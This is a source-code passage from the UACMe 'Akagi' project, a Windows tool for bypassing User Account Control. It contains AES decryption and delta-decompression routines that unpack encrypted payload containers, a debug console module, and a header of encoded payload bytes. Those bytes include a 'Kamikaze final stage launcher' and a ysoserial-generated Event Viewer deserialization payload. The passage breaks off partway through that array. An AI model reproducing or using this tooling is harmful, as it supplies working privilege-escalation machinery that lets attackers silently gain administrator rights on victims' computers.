    HANDLE              heapCNG = NULL;
    DWORD               cbCipherData, cbKeyObject, cbResult, cbBlockLen;
    PBYTE               pbKeyObject = NULL, pbCipherData = NULL;
    SIZE_T              memIO;
    NTSTATUS            status;

    do {

        heapCNG = HeapCreate(0, 0, 0);
        if (heapCNG == NULL)
            break;

        if (!NT_SUCCESS(BCryptOpenAlgorithmProvider(
            &hAlgAes,
            BCRYPT_AES_ALGORITHM,
            NULL,
            0)))
        {
            break;
        }

        cbKeyObject = 0;
        cbResult = 0;

        if (!NT_SUCCESS(BCryptGetProperty(
            hAlgAes,
            BCRYPT_OBJECT_LENGTH,
            (PUCHAR)&cbKeyObject,
            sizeof(DWORD),
            &cbResult,
            0)))
        {
            break;
        }

        pbKeyObject = (PBYTE)HeapAlloc(heapCNG, HEAP_ZERO_MEMORY, cbKeyObject);
        if (pbKeyObject == NULL)
            break;

        cbBlockLen = 0;

        if (!NT_SUCCESS(BCryptGetProperty(hAlgAes,
            BCRYPT_BLOCK_LENGTH,
            (PUCHAR)&cbBlockLen,
            sizeof(DWORD),
            &cbResult,
            0)))
        {
            break;
        }

        if (cbBlockLen > DCU_IV_MAX_BLOCK_LENGTH)
            break;

        if (!NT_SUCCESS(BCryptGenerateSymmetricKey(
            hAlgAes,
            &hKey,
            pbKeyObject,
            cbKeyObject,
            pbSecret,
            cbSecret,
            0)))
        {
            break;
        }

        cbCipherData = 0;
        if (!NT_SUCCESS(BCryptDecrypt(
            hKey,
            pbBuffer,
            cbBuffer,
            NULL,
            pbIV,
            cbBlockLen,
            NULL,
            0,
            &cbCipherData,
            BCRYPT_BLOCK_PADDING)))
        {
            break;
        }

        memIO = (SIZE_T)cbCipherData;

        pbCipherData = (PBYTE)supVirtualAlloc(
            &memIO,
            DEFAULT_ALLOCATION_TYPE,
            DEFAULT_PROTECT_TYPE,
            &status);

        if ((!NT_SUCCESS(status)) || (pbCipherData == NULL))
            break;

        cbResult = 0;
        if (!NT_SUCCESS(BCryptDecrypt(
            hKey,
            pbBuffer,
            cbBuffer,
            NULL,
            pbIV,
            cbBlockLen,
            pbCipherData,
            cbCipherData,
            &cbResult,
            BCRYPT_BLOCK_PADDING)))
        {
            break;
        }

        BCryptDestroyKey(hKey);
        hKey = NULL;

        *pbDecryptedBuffer = pbCipherData;
        *pcbDecryptedBuffer = cbCipherData;

        bResult = TRUE;

    } while (FALSE);

    if (hKey != NULL)
        BCryptDestroyKey(hKey);

    if (hAlgAes != NULL)
        BCryptCloseAlgorithmProvider(hAlgAes, 0);

    if (heapCNG) HeapDestroy(heapCNG);

    if (bResult == FALSE) {
        if (pbCipherData) supVirtualFree(pbCipherData, NULL);
        *pbDecryptedBuffer = NULL;
        *pcbDecryptedBuffer = 0;
    }

    return bResult;
}

/*
* DecompressContainerUnit
*
* Purpose:
*
* Decompress given container.
*
* Use supVirtualFree to release allocated result.
*
*/
PVOID DecompressContainerUnit(
    _In_ PBYTE pbBuffer,
    _In_ DWORD cbBuffer,
    _In_ PBYTE pbSecret,
    _In_ DWORD cbSecret,
    _Out_ PULONG pcbDecompressed
)
{
    PDCU_HEADER     UnitHeader;

    PBYTE           pbDecryptedBuffer = NULL;
    DWORD           cbDecryptedBuffer = 0;

    DELTA_INPUT     diDelta, diSource;
    DELTA_OUTPUT    doOutput;

    PVOID           UncompressedData = NULL;
    SIZE_T          memIO;

    PBYTE           DataPtr;

    NTSTATUS        status;

    if (pcbDecompressed)
        *pcbDecompressed = 0;

    do {

        UnitHeader = (PDCU_HEADER)pbBuffer;

        if (!IsValidContainerHeader(UnitHeader, cbBuffer))
            break;

        DataPtr = (PBYTE)UnitHeader + sizeof(DCU_HEADER);

        if (!DecryptBuffer(
            (PBYTE)DataPtr,
            (DWORD)UnitHeader->cbData,
            (PBYTE)UnitHeader->bIV,
            (PBYTE)pbSecret,
            (DWORD)cbSecret,
            (PBYTE*)&pbDecryptedBuffer,
            (PDWORD)&cbDecryptedBuffer))
        {
            break;
        }

        if (cbDecryptedBuffer > cbBuffer)
            break;

        RtlSecureZeroMemory(&diSource, sizeof(DELTA_INPUT));
        RtlSecureZeroMemory(&diDelta, sizeof(DELTA_INPUT));
        RtlSecureZeroMemory(&doOutput, sizeof(DELTA_OUTPUT));

        diDelta.Editable = FALSE;
        diDelta.lpcStart = pbDecryptedBuffer;
        diDelta.uSize = UnitHeader->cbDeltaSize;

        if (ApplyDeltaB(DELTA_FILE_TYPE_RAW, diSource, diDelta, &doOutput)) {

            memIO = doOutput.uSize;
            UncompressedData = supVirtualAlloc(
                &memIO,
                DEFAULT_ALLOCATION_TYPE,
                DEFAULT_PROTECT_TYPE,
                &status);

            if ((NT_SUCCESS(status)) && (UncompressedData != NULL)) {

                RtlCopyMemory(UncompressedData, doOutput.lpStart, doOutput.uSize);
                if (pcbDecompressed)
                    *pcbDecompressed = (ULONG)doOutput.uSize;

            }
            DeltaFree(doOutput.lpStart);
        }

    } while (FALSE);

    if (pbDecryptedBuffer != NULL) {
        supVirtualFree(pbDecryptedBuffer, NULL);
    }

    return UncompressedData;
}

/*
* DecompressPayload
*
* Purpose:
*
* Decode payload and then decompress it.
*
*/
PVOID DecompressPayload(
    _In_ ULONG PayloadId,
    _In_ PVOID pbBuffer,
    _In_ ULONG cbBuffer,
    _Out_ PULONG pcbDecompressed
)
{
    BOOL        bResult = FALSE;
    ULONG       FinalDecompressedSize = 0;
    SIZE_T      memIO;
    PUCHAR      UncompressedData = NULL;

    PVOID       Data = NULL;

    PBYTE       pbSecret = NULL;
    DWORD       cbSecret = 0, DataSize;

    NTSTATUS    status;

    __try {

        DataSize = cbBuffer;

        do {

            //
            // Make a writeable buffer copy.
            //

            memIO = DataSize;
            Data = supVirtualAlloc(
                (PSIZE_T)&memIO,
                DEFAULT_ALLOCATION_TYPE,
                DEFAULT_PROTECT_TYPE,
                &status);

            if ((!NT_SUCCESS(status)) || (Data == NULL))
                break;

            supCopyMemory(Data, memIO, pbBuffer, DataSize);

            //
            // Get key for decryption.
            //
            pbSecret = (PBYTE)SelectSecretFromBlob(PayloadId, &cbSecret);
            if ((pbSecret == NULL) || (cbSecret == 0))
                break;

            UncompressedData = (PUCHAR)DecompressContainerUnit(
                (PBYTE)Data,
                DataSize,
                pbSecret,
                cbSecret,
                &FinalDecompressedSize);

            if (UncompressedData == NULL)
                break;

            //
            // Validate uncompressed data, skip for dotnet.
            //
            if (!supVerifyMappedImageMatchesChecksum(UncompressedData, FinalDecompressedSize)) {

                if (!supIsCorImageFile(UncompressedData)) {

#ifdef _DEBUG
                    supDebugPrint(
                        TEXT("DecompressPayload"),
                        ERROR_DATA_CHECKSUM_ERROR);
#endif
                    break;
                }
            }

            bResult = TRUE;

        } while (FALSE);

    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        bResult = FALSE;
    }

    if (pbSecret) supHeapFree(pbSecret);

    if (Data) {
        supVirtualFree(Data, NULL);
    }

    if (bResult == FALSE) {
        if (UncompressedData != NULL) {
            supVirtualFree(UncompressedData, NULL);
            UncompressedData = NULL;
        }
        FinalDecompressedSize = 0;
    }

    if (pcbDecompressed)
        *pcbDecompressed = FinalDecompressedSize;

    return UncompressedData;
}


================================================
FILE: Source/Akagi/compress.h
================================================
/*******************************************************************************
*
*  (C) COPYRIGHT AUTHORS, 2014 - 2022
*
*  TITLE:       COMPRESS.H
*
*  VERSION:     3.61
*
*  DATE:        22 Jun 2022
*
*  Prototypes and definitions for compression.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#pragma once

#include <msdelta.h>
#include <compressapi.h>
#include <bcrypt.h>

#define UACME_CONTAINER_PACKED_UNIT 'UPCU' //Naka handling
#define UACME_CONTAINER_PACKED_DATA 'DPCU' //Naka handling
#define UACME_CONTAINER_PACKED_CODE 'CPCU' //Kuma handling
#define UACME_CONTAINER_PACKED_KEYS 'KPCU' //Kuma handling

//Initialization vector max bytes
#define DCU_IV_MAX_BLOCK_LENGTH 16

typedef struct _DCU_HEADER {
    DWORD Magic;
    DWORD cbData;
    DWORD cbDeltaSize;
    DWORD HeaderCrc;
    BYTE bIV[DCU_IV_MAX_BLOCK_LENGTH];
    //PBYTE pbData[1];     /* not a member of the structure */
} DCU_HEADER, *PDCU_HEADER;

typedef PVOID(*pfnDecompressPayload)(
    _In_ ULONG PayloadId,
    _In_ PVOID pbBuffer,
    _In_ ULONG cbBuffer,
    _Out_ PULONG pcbDecompressed);

PVOID DecompressPayload(
    _In_ ULONG PayloadId,
    _In_ PVOID pbBuffer,
    _In_ ULONG cbBuffer,
    _Out_ PULONG pcbDecompressed);

VOID EncodeBuffer(
    _In_ PVOID Buffer,
    _In_ ULONG BufferSize,
    _In_ ULONG Key);


================================================
FILE: Source/Akagi/console.c
================================================
/*******************************************************************************
*
*  (C) COPYRIGHT AUTHORS, 2022 - 2026
*
*  TITLE:       CONSOLE.C
*
*  VERSION:     3.69
*
*  DATE:        12 Feb 2026
*
*  Debug console.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/

#include "global.h"

HANDLE StdOutputHandle = NULL;

pswprintf_s _swprintf_s = NULL;

VOID ConsolePrint(
    _In_ LPCWSTR Message
)
{
    WriteConsole(StdOutputHandle, Message, (ULONG)_strlen(Message), NULL, NULL);
}

VOID ConsolePrintValueUlong(
    _In_ LPCWSTR Message,
    _In_ ULONG Value,
    _In_ BOOL Hexademical
)
{
    WCHAR szText[200];

    if (_swprintf_s) {

        _swprintf_s(szText, RTL_NUMBER_OF(szText),
            Hexademical ? TEXT("%ws 0x%lX\r\n") : TEXT("%ws %lu\r\n"),
            Message,
            Value);

        ConsolePrint(szText);
    }
}

VOID ConsolePrintStatus(
    _In_ LPCWSTR Message,
    _In_ NTSTATUS Status
)
{
    ConsolePrintValueUlong(Message, Status, TRUE);
}

VOID ConsoleInit(
    VOID
)
{
    WCHAR szBuffer[100];
    HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");

    if (hNtdll == NULL || !AllocConsole())
        return;

    _swprintf_s = (pswprintf_s)GetProcAddress(hNtdll, "swprintf_s");
    if (_swprintf_s == NULL)
        return;

    StdOutputHandle = GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleMode(StdOutputHandle, ENABLE_PROCESSED_OUTPUT |
        ENABLE_VIRTUAL_TERMINAL_PROCESSING);

    _swprintf_s(szBuffer, RTL_NUMBER_OF(szBuffer), TEXT("[*] UACMe v%lu.%lu.%lu.%lu\r\n"),
        UCM_VERSION_MAJOR,
        UCM_VERSION_MINOR,
        UCM_VERSION_REVISION,
        UCM_VERSION_BUILD);

    SetConsoleTitle(szBuffer);
}

BOOL ConsoleIsKeyPressed(
    _In_ WORD VirtualKeyCode
)
{
    BOOL bResult = FALSE;
    DWORD numberOfEvents = 0;
    INPUT_RECORD inp1;
    HANDLE nStdHandle = GetStdHandle(STD_INPUT_HANDLE);

    GetNumberOfConsoleInputEvents(nStdHandle, &numberOfEvents);

    if (numberOfEvents) {

        PeekConsoleInput(nStdHandle, &inp1, 1, &numberOfEvents);

        bResult = (numberOfEvents != 0 &&
            inp1.EventType == KEY_EVENT &&
            inp1.Event.KeyEvent.bKeyDown &&
            inp1.Event.KeyEvent.wVirtualKeyCode == VirtualKeyCode);

        FlushConsoleInputBuffer(nStdHandle);
    }

    return bResult;
}

VOID ConsoleRelease(
    VOID
)
{
    DWORD dwStart = GetTickCount();
    HANDLE nStdHandle = GetStdHandle(STD_INPUT_HANDLE);

    if (nStdHandle == NULL || nStdHandle == INVALID_HANDLE_VALUE) {
        FreeConsole();
        return;
    }

    ConsolePrint(TEXT("[+] Press Enter to exit or wait few seconds and it will close automatically\r\n"));

    FlushConsoleInputBuffer(nStdHandle);
    while (!ConsoleIsKeyPressed(VK_RETURN) && (GetTickCount() - dwStart) < (10 * 1000))
        Sleep(50);

    FreeConsole();
}


================================================
FILE: Source/Akagi/console.h
================================================
/*******************************************************************************
*
*  (C) COPYRIGHT AUTHORS, 2022
*
*  TITLE:       CONSOLE.H
*
*  VERSION:     3.62
*
*  DATE:        08 Jul 2022
*
*  Debug console header file.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/

#pragma once

VOID ConsoleInit(
    VOID);

VOID ConsoleRelease(
    VOID);

VOID ConsolePrintStatus(
    _In_ LPCWSTR Message,
    _In_ NTSTATUS Status);

VOID ConsolePrint(
    _In_ LPCWSTR Message);

VOID ConsolePrintValueUlong(
    _In_ LPCWSTR Message,
    _In_ ULONG Value,
    _In_ BOOL Hexademical);

#ifdef _UCM_CONSOLE
#define ucmConsoleInit ConsoleInit
#define ucmConsoleRelease ConsoleRelease
#define ucmConsolePrintStatus ConsolePrintStatus
#define ucmConsolePrint ConsolePrint
#define ucmConsolePrintValueUlong ConsolePrintValueUlong
#else
#define ucmConsoleInit()
#define ucmConsoleRelease()
#define ucmConsolePrintStatus(Message, Status)
#define ucmConsolePrint(Message)
#define ucmConsolePrintValueUlong(Message, Value, Hexademical)
#endif


================================================
FILE: Source/Akagi/encresource.h
================================================
/*******************************************************************************
*
*  (C) COPYRIGHT AUTHORS, 2016 - 2025
*
*  TITLE:       ENCRESOURCE.H
*
*  VERSION:     3.68
*
*  DATE:        07 Mar 2025
*
*  Encoded string resources.
*
*  1) g_encodedKamikazeFinal - Kamikaze final stage launcher
*  2) string table elements
*  3) g_encodedRecentViews - eventvwr cache element generated with yososerial
*  4) g_encodedRecentViewsV2 - eventvwr cache element for dotnet2 generated with ysoserial
*  5) g_encodedTaskParamBegin, g_encodedTaskParamEnd - parameters data for the scheduler task
*  6) g_webviewvsinfo - WebView version info block
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#pragma once

static const unsigned char g_encodedKamikazeFinal[121] = {
    0x46, 0x9C, 0x9D, 0xBE, 0xCA, 0x73, 0xA6, 0x57, 0x04, 0xB2, 0xD4, 0x65, 0x8A, 0x1E, 0xB8, 0xC4,
    0x04, 0xAA, 0xC1, 0x55, 0xB3, 0xD5, 0x2E, 0xD0, 0x19, 0xB8, 0xCC, 0x37, 0x99, 0x2A, 0xA6, 0xD8,
    0x19, 0x81, 0x9D, 0xB6, 0xF5, 0x25, 0xFF, 0x59, 0x07, 0x95, 0xC2, 0x36, 0xDB, 0x0C, 0xB5, 0xD2,
    0x45, 0xF8, 0x90, 0x1F, 0xB3, 0xC0, 0x2A, 0x90, 0x37, 0x8A, 0xC2, 0x28, 0xDC, 0x41, 0xBB, 0xC5,
    0x1F, 0xD6, 0xC5, 0xF1, 0x83, 0x3E, 0xE3, 0x46, 0x1F, 0xB3, 0xC0, 0x3F, 0xC4, 0x04, 0xAD, 0xD3,
    0x48, 0xF8, 0x99, 0x49, 0xF4, 0x81, 0x78, 0xE7, 0x0E, 0xA5, 0xD9, 0x34, 0xC5, 0x0A, 0xBA, 0x9F,
    0x53, 0xCF, 0xD5, 0xFC, 0xD5, 0x2E, 0xE8, 0x5C, 0x1B, 0xA2, 0x93, 0x67, 0x99, 0x0F, 0xB4, 0xD2,
    0x14, 0xE4, 0x89, 0x44, 0xBE, 0xD9, 0x37, 0xD9, 0x55
};

static const unsigned char g_encodedRecentViews[1411] = {
	0x7A, 0xF5, 0xE9, 0xD3, 0xA7, 0xB0, 0x61, 0xC2, 0x85, 0xF5, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF8, 0xEB, 0xD3, 0xA7, 0x4F, 0xD0, 0x6E, 0x03, 0x87, 0x9D, 0xB6, 0xCA, 0x61, 0xDA, 0x5C,
	0x0E, 0x95, 0xC5, 0xF3, 0xF1, 0x2A, 0xEC, 0x4E, 0x13, 0x9B, 0x87, 0xEE, 0x93, 0x61, 0xAE, 0x13,
	0x4A, 0xDA, 0xD9, 0xFF, 0x87, 0x0C, 0xEB, 0x51, 0x0E, 0x81, 0x9B, 0xB6, 0x9A, 0x21, 0xFB, 0x48,
	0x0E, 0x86, 0x88, 0xBF, 0x8B, 0x6F, 0xCE, 0x48, 0x18, 0x98, 0x80, 0xB0, 0xEC, 0x2A, 0xE7, 0x69,
	0x15, 0x9F, 0x8C, 0xBD, 0x9A, 0x2D, 0xA9, 0x0A, 0x1B, 0xC1, 0x8A, 0xE6, 0x91, 0x7E, 0xA7, 0x0E,
	0x4E, 0x91, 0xD9, 0xEB, 0x9E, 0x4A, 0x9F, 0x3D, 0x7A, 0xF4, 0xFA, 0x80, 0xDE, 0x3C, 0xEA, 0x58,
	0x17, 0xDA, 0xAD, 0xB2, 0xD3, 0x2E, 0xB0, 0x79, 0x1B, 0x80, 0x88, 0x80, 0xC2, 0x3B, 0x94, 0x3D,
	0x7A, 0xF4, 0xFF, 0x97, 0xC6, 0x3B, 0xFF, 0x6E, 0x1F, 0x80, 0xC7, 0x81, 0xC2, 0x22, 0xF1, 0x49,
	0x13, 0x9A, 0x8E, 0x95, 0xC8, 0x3D, 0xF3, 0x5C, 0x0E, 0xE7, 0xAD, 0xB2, 0xD3, 0x2E, 0xCD, 0x58,
	0x0E, 0xDA, 0xAD, 0xB2, 0xD3, 0x2E, 0xCD, 0x58, 0x0E, 0xBA, 0x88, 0xBE, 0xC2, 0x5E, 0xDA, 0x5C,
	0x0E, 0x95, 0xBA, 0xB6, 0xD3, 0x61, 0xD0, 0x5C, 0x17, 0x91, 0x9A, 0xA3, 0xC6, 0x2C, 0xFB, 0x33,
	0x3E, 0x95, 0x9D, 0xB2, 0xF4, 0x2A, 0xEA, 0x13, 0x2A, 0x86, 0x8C, 0xB5, 0xCE, 0x37, 0x8B, 0x79,
	0x1B, 0x80, 0x88, 0x80, 0xC2, 0x3B, 0xB0, 0x7E, 0x1B, 0x87, 0x8C, 0x80, 0xC2, 0x21, 0xED, 0x54,
	0x0E, 0x9D, 0x9F, 0xB6, 0xB5, 0x0B, 0xFF, 0x49, 0x1B, 0xA7, 0x8C, 0xA7, 0x89, 0x03, 0xF1, 0x5E,
	0x1B, 0x98, 0x8C, 0x9F, 0xE4, 0x06, 0xDA, 0x27, 0x3E, 0x95, 0x9D, 0xB2, 0xF4, 0x2A, 0xEA, 0x13,
	0x3F, 0x9A, 0x8F, 0xBC, 0xD5, 0x2C, 0xFB, 0x7E, 0x15, 0x9A, 0x9A, 0xA7, 0xD5, 0x2E, 0xF7, 0x53,
	0x0E, 0x87, 0xF3, 0x97, 0xC6, 0x3B, 0xFF, 0x6E, 0x1F, 0x80, 0xC7, 0x96, 0xDF, 0x3B, 0xFB, 0x53,
	0x1E, 0x91, 0x8D, 0x83, 0xD5, 0x20, 0xEE, 0x58, 0x08, 0x80, 0x80, 0xB6, 0xD4, 0x5B, 0xDA, 0x5C,
	0x0E, 0x95, 0xBA, 0xB6, 0xD3, 0x61, 0xCA, 0x5C, 0x18, 0x98, 0x8C, 0xA0, 0x89, 0x0C, 0xF1, 0x48,
	0x14, 0x80, 0xF9, 0x97, 0xC6, 0x3B, 0xFF, 0x6E, 0x1F, 0x80, 0xC7, 0x87, 0xC6, 0x2D, 0xF2, 0x58,
	0x09, 0xAB, 0xD9, 0xD7, 0xA6, 0x4E, 0x9F, 0x3D, 0x7A, 0xF4, 0xEB, 0xD3, 0xA0, 0x50, 0xCD, 0x44,
	0x09, 0x80, 0x8C, 0xBE, 0x89, 0x0B, 0xFF, 0x49, 0x1B, 0xDA, 0xBA, 0xB6, 0xD5, 0x26, 0xFF, 0x51,
	0x13, 0x8E, 0x88, 0xA7, 0xCE, 0x20, 0xF0, 0x7B, 0x15, 0x86, 0x84, 0xB2, 0xD3, 0x4D, 0x9E, 0x3D,
	0x7A, 0xF5, 0xE1, 0xD2, 0xAF, 0x4D, 0x9C, 0x3D, 0x7A, 0xF4, 0xEC, 0x2E, 0x58, 0xB0, 0x61, 0x22,
	0x29, 0x8D, 0x9A, 0xA7, 0xC2, 0x22, 0xB0, 0x79, 0x1B, 0x80, 0x88, 0xFD, 0xF4, 0x2A, 0xEC, 0x54,
	0x1B, 0x98, 0x80, 0xA9, 0xC6, 0x3B, 0xF7, 0x52, 0x14, 0xB2, 0x86, 0xA1, 0xCA, 0x2E, 0xEA, 0x3C,
	0x7A, 0xF4, 0xE9, 0xD4, 0xD1, 0x2E, 0xF2, 0x48, 0x1F, 0xAB, 0xB6, 0xD3, 0xAF, 0x4D, 0x9E, 0x3D,
	0x7A, 0xF5, 0xE9, 0xD3, 0xA7, 0x49, 0x9A, 0x3D, 0x7A, 0xF4, 0xE9, 0xDA, 0xA3, 0x4F, 0x9E, 0x3D,
	0x73, 0xF0, 0xE9, 0xD3, 0xA7, 0x4F, 0x97, 0x39, 0x7A, 0xF4, 0xE9, 0xD9, 0xA6, 0x4F, 0x9E, 0x3D,
	0x73, 0xF1, 0xE9, 0xD3, 0xA7, 0x40, 0x9B, 0x3D, 0x7A, 0xF4, 0x7A, 0xD0, 0xA7, 0x4F, 0x9C, 0x3D,
	0x7B, 0xF4, 0xE9, 0xD3, 0x58, 0xB0, 0x61, 0xC2, 0x7B, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x76, 0xF6, 0xE9, 0xD3, 0xA7, 0x11, 0xD3, 0x54, 0x19, 0x86, 0x86, 0xA0, 0xC8, 0x29, 0xEA, 0x13,
	0x2A, 0x9B, 0x9E, 0xB6, 0xD5, 0x1C, 0xF6, 0x58, 0x16, 0x98, 0xC7, 0x96, 0xC3, 0x26, 0xEA, 0x52,
	0x08, 0xD8, 0xC9, 0x85, 0xC2, 0x3D, 0xED, 0x54, 0x15, 0x9A, 0xD4, 0xE0, 0x89, 0x7F, 0xB0, 0x0D,
	0x54, 0xC4, 0xC5, 0xF3, 0xE4, 0x3A, 0xF2, 0x49, 0x0F, 0x86, 0x8C, 0xEE, 0xC9, 0x2A, 0xEB, 0x49,
	0x08, 0x95, 0x85, 0xFF, 0x87, 0x1F, 0xEB, 0x5F, 0x16, 0x9D, 0x8A, 0x98, 0xC2, 0x36, 0xCA, 0x52,
	0x11, 0x91, 0x87, 0xEE, 0x94, 0x7E, 0xFC, 0x5B, 0x49, 0xCC, 0xDC, 0xE5, 0xC6, 0x2B, 0xAD, 0x0B,
	0x4E, 0x91, 0xDA, 0xE6, 0xA2, 0x4E, 0x9E, 0x3D, 0x7A, 0xB6, 0xA4, 0xBA, 0xC4, 0x3D, 0xF1, 0x4E,
	0x15, 0x92, 0x9D, 0xFD, 0xF1, 0x26, 0xED, 0x48, 0x1B, 0x98, 0xBA, 0xA7, 0xD2, 0x2B, 0xF7, 0x52,
	0x54, 0xA0, 0x8C, 0xAB, 0xD3, 0x61, 0xD8, 0x52, 0x08, 0x99, 0x88, 0xA7, 0xD3, 0x26, 0xF0, 0x5A,
	0x54, 0xA0, 0x8C, 0xAB, 0xD3, 0x09, 0xF1, 0x4F, 0x17, 0x95, 0x9D, 0xA7, 0xCE, 0x21, 0xF9, 0x6F,
	0x0F, 0x9A, 0xB9, 0xA1, 0xC8, 0x3F, 0xFB, 0x4F, 0x0E, 0x9D, 0x8C, 0xA0, 0xA6, 0x4F, 0x9E, 0x3D,
	0x75, 0xB2, 0x86, 0xA1, 0xC2, 0x28, 0xEC, 0x52, 0x0F, 0x9A, 0x8D, 0x91, 0xD5, 0x3A, 0xED, 0x55,
	0x7B, 0xF6, 0xE9, 0xD3, 0xA7, 0x49, 0x9D, 0x3D, 0x7A, 0xF4, 0x5C, 0xD6, 0x9B, 0x70, 0xE6, 0x50,
	0x16, 0xD4, 0x9F, 0xB6, 0xD5, 0x3C, 0xF7, 0x52, 0x14, 0xC9, 0xCB, 0xE2, 0x89, 0x7F, 0xBC, 0x1D,
	0x1F, 0x9A, 0x8A, 0xBC, 0xC3, 0x26, 0xF0, 0x5A, 0x47, 0xD6, 0x9C, 0xA7, 0xC1, 0x62, 0xA6, 0x1F,
	0x45, 0xCA, 0xE4, 0xD9, 0x9B, 0x00, 0xFC, 0x57, 0x1F, 0x97, 0x9D, 0x97, 0xC6, 0x3B, 0xFF, 0x6D,
	0x08, 0x9B, 0x9F, 0xBA, 0xC3, 0x2A, 0xEC, 0x1D, 0x37, 0x91, 0x9D, 0xBB, 0xC8, 0x2B, 0xD0, 0x5C,
	0x17, 0x91, 0xD4, 0xF1, 0xF4, 0x3B, 0xFF, 0x4F, 0x0E, 0xD6, 0xC9, 0x9A, 0xD4, 0x06, 0xF0, 0x54,
	0x0E, 0x9D, 0x88, 0xBF, 0xEB, 0x20, 0xFF, 0x59, 0x3F, 0x9A, 0x88, 0xB1, 0xCB, 0x2A, 0xFA, 0x00,
	0x58, 0xB2, 0x88, 0xBF, 0xD4, 0x2A, 0xBC, 0x1D, 0x02, 0x99, 0x85, 0xBD, 0xD4, 0x72, 0xBC, 0x55,
	0x0E, 0x80, 0x99, 0xE9, 0x88, 0x60, 0xED, 0x5E, 0x12, 0x91, 0x84, 0xB2, 0xD4, 0x61, 0xF3, 0x54,
	0x19, 0x86, 0x86, 0xA0, 0xC8, 0x29, 0xEA, 0x13, 0x19, 0x9B, 0x84, 0xFC, 0xD0, 0x26, 0xF0, 0x5B,
	0x02, 0xDB, 0xDB, 0xE3, 0x97, 0x79, 0xB1, 0x45, 0x1B, 0x99, 0x85, 0xFC, 0xD7, 0x3D, 0xFB, 0x4E,
	0x1F, 0x9A, 0x9D, 0xB2, 0xD3, 0x26, 0xF1, 0x53, 0x58, 0xD4, 0x91, 0xBE, 0xCB, 0x21, 0xED, 0x07,
	0x09, 0x90, 0xD4, 0xF1, 0xC4, 0x23, 0xEC, 0x10, 0x14, 0x95, 0x84, 0xB6, 0xD4, 0x3F, 0xFF, 0x5E,
	0x1F, 0xCE, 0xBA, 0xAA, 0xD4, 0x3B, 0xFB, 0x50, 0x54, 0xB0, 0x80, 0xB2, 0xC0, 0x21, 0xF1, 0x4E,
	0x0E, 0x9D, 0x8A, 0xA0, 0x9C, 0x2E, 0xED, 0x4E, 0x1F, 0x99, 0x8B, 0xBF, 0xDE, 0x72, 0xCD, 0x44,
	0x09, 0x80, 0x8C, 0xBE, 0x85, 0x6F, 0xE6, 0x50, 0x16, 0x9A, 0x9A, 0xE9, 0xDF, 0x72, 0xBC, 0x55,
	0x0E, 0x80, 0x99, 0xE9, 0x88, 0x60, 0xED, 0x5E, 0x12, 0x91, 0x84, 0xB2, 0xD4, 0x61, 0xF3, 0x54,
	0x19, 0x86, 0x86, 0xA0, 0xC8, 0x29, 0xEA, 0x13, 0x19, 0x9B, 0x84, 0xFC, 0xD0, 0x26, 0xF0, 0x5B,
	0x02, 0xDB, 0xDB, 0xE3, 0x97, 0x79, 0xB1, 0x45, 0x1B, 0x99, 0x85, 0xF1, 0x99, 0x42, 0x94, 0x1D,
	0x5A, 0xC8, 0xA6, 0xB1, 0xCD, 0x2A, 0xFD, 0x49, 0x3E, 0x95, 0x9D, 0xB2, 0xF7, 0x3D, 0xF1, 0x4B,
	0x13, 0x90, 0x8C, 0xA1, 0x89, 0x00, 0xFC, 0x57, 0x1F, 0x97, 0x9D, 0x9A, 0xC9, 0x3C, 0xEA, 0x5C,
	0x14, 0x97, 0x8C, 0xED, 0xAA, 0x45, 0xBE, 0x1D, 0x5A, 0xD4, 0xD5, 0xA0, 0xC3, 0x75, 0xCE, 0x4F,
	0x15, 0x97, 0x8C, 0xA0, 0xD4, 0x71, 0x93, 0x37, 0x5A, 0xD4, 0xC9, 0xF3, 0x87, 0x6F, 0xA2, 0x4E,
	0x1E, 0xCE, 0xB9, 0xA1, 0xC8, 0x2C, 0xFB, 0x4E, 0x09, 0xDA, 0xBA, 0xA7, 0xC6, 0x3D, 0xEA, 0x74,
	0x14, 0x92, 0x86, 0xED, 0xAA, 0x45, 0xBE, 0x1D, 0x5A, 0xD4, 0xC9, 0xF3, 0x87, 0x6F, 0xA2, 0x4E,
	0x1E, 0xCE, 0xB9, 0xA1, 0xC8, 0x2C, 0xFB, 0x4E, 0x09, 0xA7, 0x9D, 0xB2, 0xD5, 0x3B, 0xD7, 0x53,
	0x1C, 0x9B, 0xC9, 0x92, 0xD5, 0x28, 0xEB, 0x50, 0x1F, 0x9A, 0x9D, 0xA0, 0x9A, 0x6D, 0xB1, 0x5E,
	0x5A, 0xD1, 0x99, 0xB6, 0x94, 0x77, 0xA8, 0x18, 0x58, 0xD4, 0xBA, 0xA7, 0xC6, 0x21, 0xFA, 0x5C,
	0x08, 0x90, 0xAC, 0xA1, 0xD5, 0x20, 0xEC, 0x78, 0x14, 0x97, 0x86, 0xB7, 0xCE, 0x21, 0xF9, 0x00,
	0x58, 0x8F, 0x91, 0xE9, 0xE9, 0x3A, 0xF2, 0x51, 0x07, 0xD6, 0xC9, 0x80, 0xD3, 0x2E, 0xF0, 0x59,
